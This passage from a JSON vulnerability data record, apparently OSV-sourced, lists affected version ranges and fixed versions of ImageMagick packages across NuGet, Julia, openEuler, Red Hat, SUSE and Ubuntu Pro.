0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","14.8.2","6.8.9.101","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","14.8.2","6.8.9.101","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q16-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","14.8.2","6.8.5.1001","6.8.5.401","6.8.5.402","6.8.6.301","6.8.6.601","6.8.6.801","6.8.7.1","6.8.7.101","6.8.7.501","6.8.7.502","6.8.7.901","6.8.8.1001","6.8.8.201","6.8.8.501","6.8.8.701","6.8.8.801","6.8.8.901","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","14.8.2","6.8.8.1001","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"NuGet","package":"Magick.NET-Q8-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.9.0"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","14.8.2","6.8.5.1001","6.8.5.401","6.8.5.402","6.8.6.301","6.8.6.601","6.8.6.801","6.8.7.1","6.8.7.101","6.8.7.501","6.8.7.502","6.8.7.901","6.8.8.1001","6.8.8.201","6.8.8.501","6.8.8.701","6.8.8.801","6.8.8.901","6.8.9.1","6.8.9.101","6.8.9.2","6.8.9.401","6.8.9.501","6.8.9.601","7.0.0.1","7.0.0.10","7.0.0.101","7.0.0.102","7.0.0.103","7.0.0.104","7.0.0.11","7.0.0.12","7.0.0.13","7.0.0.14","7.0.0.15","7.0.0.16","7.0.0.17","7.0.0.18","7.0.0.19","7.0.0.2","7.0.0.20","7.0.0.21","7.0.0.22","7.0.0.3","7.0.0.4","7.0.0.5","7.0.0.6","7.0.0.7","7.0.0.8","7.0.0.9","7.0.1","7.0.1.100","7.0.1.101","7.0.1.500","7.0.2.100","7.0.2.400","7.0.2.600","7.0.2.900","7.0.2.901","7.0.2.902","7.0.3","7.0.3.1","7.0.3.300","7.0.3.500","7.0.3.501","7.0.3.502","7.0.3.901","7.0.3.902","7.0.4.100","7.0.4.400","7.0.4.700","7.0.4.701","7.0.5.500","7.0.5.501","7.0.5.502","7.0.5.800","7.0.5.900","7.0.6","7.0.6.100","7.0.6.1000","7.0.6.1001","7.0.6.1002","7.0.6.101","7.0.6.102","7.0.6.600","7.0.6.601","7.0.7","7.0.7.300","7.0.7.700","7.0.7.900","7.1.0","7.10.0","7.10.1","7.10.2","7.11.0","7.11.1","7.12.0","7.13.0","7.13.1","7.14.0","7.14.0.1","7.14.0.2","7.14.0.3","7.14.1","7.14.2","7.14.3","7.14.4","7.14.5","7.15.0","7.15.0.1","7.15.1","7.15.2","7.15.3","7.15.4","7.15.5","7.16.0","7.16.1","7.17.0","7.17.0.1","7.18.0","7.19.0","7.19.0.1","7.2.0","7.2.1","7.20.0","7.20.0.1","7.21.0","7.21.1","7.22.0","7.22.1","7.22.2","7.22.2.1","7.22.2.2","7.22.3","7.23.0","7.23.1","7.23.2","7.23.2.1","7.23.3","7.23.4","7.24.0","7.24.1","7.3.0","7.4.0","7.4.1","7.4.2","7.4.3","7.4.4","7.4.5","7.4.6","7.5.0","7.5.0.1","7.6.0","7.6.0.1","7.7.0","7.8.0","7.9.0","7.9.0.1","7.9.0.2","7.9.1","7.9.2","8.0.0","8.0.1","8.1.0","8.2.0","8.2.1","8.3.0","8.3.1","8.3.2","8.3.3","8.4.0","8.5.0","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"]},{"source":"osv","ecosystem":"Julia","package":"ImageMagick_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.2011+0"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.7-1.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.7-1.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.32-1.oe2003sp4"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.7-1.oe2203sp3"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.7-1.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP2","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.8-1.oe2403sp2"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.9.10.68-10.el7_9"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.0-160000.4.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.0-160000.4.1"}]}],"bundled":6},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.46.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.0.9-150400.6.46.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.21-150600.3.26.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.21-150600.3.26.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.21-150600.3.26.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Desktop Applications 15 SP7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.43-150700.3.19.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.1.43-150700.3.19.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server LTSS Extended Security 12 SP5","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.8.8.1-71.215.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.7.7.10-6ubuntu3.13+esm16"}]}],"versions":["8:6.7.7.10-5ubuntu3","8:6.7.7.10-5ubuntu4","8:6.7.7.10-6ubuntu1","8:6.7.7.10-6ubuntu2","8:6.7.7.10-6ubuntu3","8:6.7.7.10-6ubuntu3.1","8:6.7.7.10-6ubuntu3.2","8:6.7.7.10-6ubuntu3.3","8:6.7.7.10-6ubuntu3.4","8:6.7.7.10-6ubuntu3.5","8:6.7.7.10-6ubuntu3.6","8:6.7.7.10-6ubuntu3.7","8:6.7.7.10-6ubuntu3.8","8:6.7.7.10-6ubuntu3.9","8:6.7.7.10-6ubuntu3.11","8:6.7.7.10-6ubuntu3.12","8:6.7.7.10-6ubuntu3.13","8:6.7.7.10-6ubuntu3.13+esm1","8:6.7.7.10-6ubuntu3.13+esm2","8:6.7.7.10-6ubuntu3.13+esm3","8:6.7.7.10-6ubuntu3.13+esm4","8:6.7.7.10-6ubuntu3.13+esm5","8:6.7.7.10-6ubuntu3.13+esm6","8:6.7.7.10-6ubuntu3.13+esm7","8:6.7.7.10-6ubuntu3.13+esm8","8:6.7.7.10-6ubuntu3.13+esm9","8:6.7.7.10-6ubuntu3.13+esm10","8:6.7.7.10-6ubuntu3.13+esm11","8:6.7.7.10-6ubuntu3.13+esm12","8:6.7.7.10-6ubuntu3.13+esm13","8:6.7.7.10-6ubuntu3.13+esm14","8:6.7.7.10-6ubuntu3.13+esm15"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.16+esm15"}]}],"versions":["8:6.8.9.9-5ubuntu2","8:6.8.9.9-6","8:6.8.9.9-6build1","8:6.8.9.9-7","8:6.8.9.9-7ubuntu1","8:6.8.9.9-7ubuntu2","8:6.8.9.9-7ubuntu3","8:6.8.9.9-7ubuntu4","8:6.8.9.9-7ubuntu5","8:6.8.9.9-7ubuntu5.1","8:6.8.9.9-7ubuntu5.2","8:6.8.9.9-7ubuntu5.3","8:6.8.9.9-7ubuntu5.4","8:6.8.9.9-7ubuntu5.5","8:6.8.9.9-7ubuntu5.6","8:6.8.9.9-7ubuntu5.7","8:6.8.9.9-7ubuntu5.8","8:6.8.9.9-7ubuntu5.9","8:6.8.9.9-7ubuntu5.11","8:6.8.9.9-7ubuntu5.12","8:6.8.9.9-7ubuntu5.13","8:6.8.9.9-7ubuntu5.14","8:6.8.9.9-7ubuntu5.15","8:6.8.9.9-7ubuntu5.16","8:6.8.9.9-7ubuntu5.16+esm1","8:6.8.9.9-7ubuntu5.16+esm2","8:6.8.9.9-7ubuntu5.16+esm3","8:6.8.9.9-7ubuntu5.16+esm4","8:6.8.9.9-7ubuntu5.16+esm5","8:6.8.9.9-7ubuntu5.16+esm6","8:6.8.9.9-7ubuntu5.16+esm7","8:6.8.9.9-7ubuntu5.16+esm8","8:6.8.9.9-7ubuntu5.16+esm9","8:6.8.9.9-7ubuntu5.16+esm10","8:6.8.9.9-7ubuntu5.16+esm11","8:6.8.9.9-7ubuntu5.16+esm12","8:6.8.9.9-7ubuntu5.16+esm13","8:6.8.9.9-7ubuntu5.16+esm14"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+esm7"}]}],"versions":["8:6.9.7.4+dfsg-16ubuntu2","8:6.9.7.4+dfsg-16ubuntu3","8:6.9.7.4+dfsg-16ubuntu4","8:6.9.7.4+dfsg-16ubuntu5","8:6.9.7.4+dfsg-16ubuntu6","8:6.9.7.4+dfsg-16ubuntu6.2","8:6.9.7.4+dfsg-16ubuntu6.3","8:6.9.7.4+dfsg-16ubuntu6.4","8:6.9.7.4+dfsg-16ubuntu6.7","8:6.9.7.4+dfsg-16ubuntu6.8","8:6.9.7.4+dfsg-16ubuntu6.9","8:6.9.7.4+dfsg-16ubuntu6.11","8:6.9.7.4+dfsg-16ubuntu6.12","8:6.9.7.4+dfsg-16ubuntu6.13","8:6.9.7.4+dfsg-16ubuntu6.14","8:6.9.7.4+dfsg-16ubuntu6.15","8:6.9.7.4+dfsg-16ubuntu6.15+esm1","8:6.9.7.4+dfsg-16ubuntu6.15+esm2","8:6.9.7.4+dfsg-16ubuntu6.15+esm3","8:6.9.7.4+dfsg-16ubuntu6.15+esm4","8:6.9.7.4+dfsg-16ubuntu6.15+esm5","8:6.9.7.4+dfsg-16ubuntu6.15+esm6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+esm5"}]}],"versions":["8:6.9.10.23+dfsg-2.1ubuntu3","8:6.9.10.23+dfsg-2.1ubuntu8","8:6.9.10.23+dfsg-2.1ubuntu9","8:6.9.10.23+dfsg-2.1ubuntu10","8:6.9.10.23+dfsg-2.1ubuntu11","8:6.9.10.23+dfsg-2.1ubuntu11.1","8:6.9.10.23+dfsg-2.1ubuntu11.2","8:6.9.10.23+dfsg-2.1ubuntu11.4","8:6.9.10.23+dfsg-2.1ubuntu11.4+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.5","8:6.9.10.23+dfsg-2.1ubuntu11.6","8:6.9.10.23+dfsg-2.1ubuntu11.6+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.7","8:6.9.10.23+dfsg-2.1ubuntu11.7+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.10","8:6.9.10.23+dfsg-2.1ubuntu11.10+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm3","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm5"}]}],"versions":["8:6.9.11.60+dfsg-1ubuntu1","8:6.9.11.60+dfsg-1.3","8:6.9.11.60+dfsg-1.3build1","8:6.9.11.60+dfsg-1.3build2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm4"}]}],"versions":["8:6.9.11.60+dfsg-1.6ubuntu1","8:6.9.12.98+dfsg1-5","8:6.9.12.98+dfsg1-5.2build1","8:6.9.12.98+dfsg1-5.2build2","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm1","8:6.9.12.98+dfs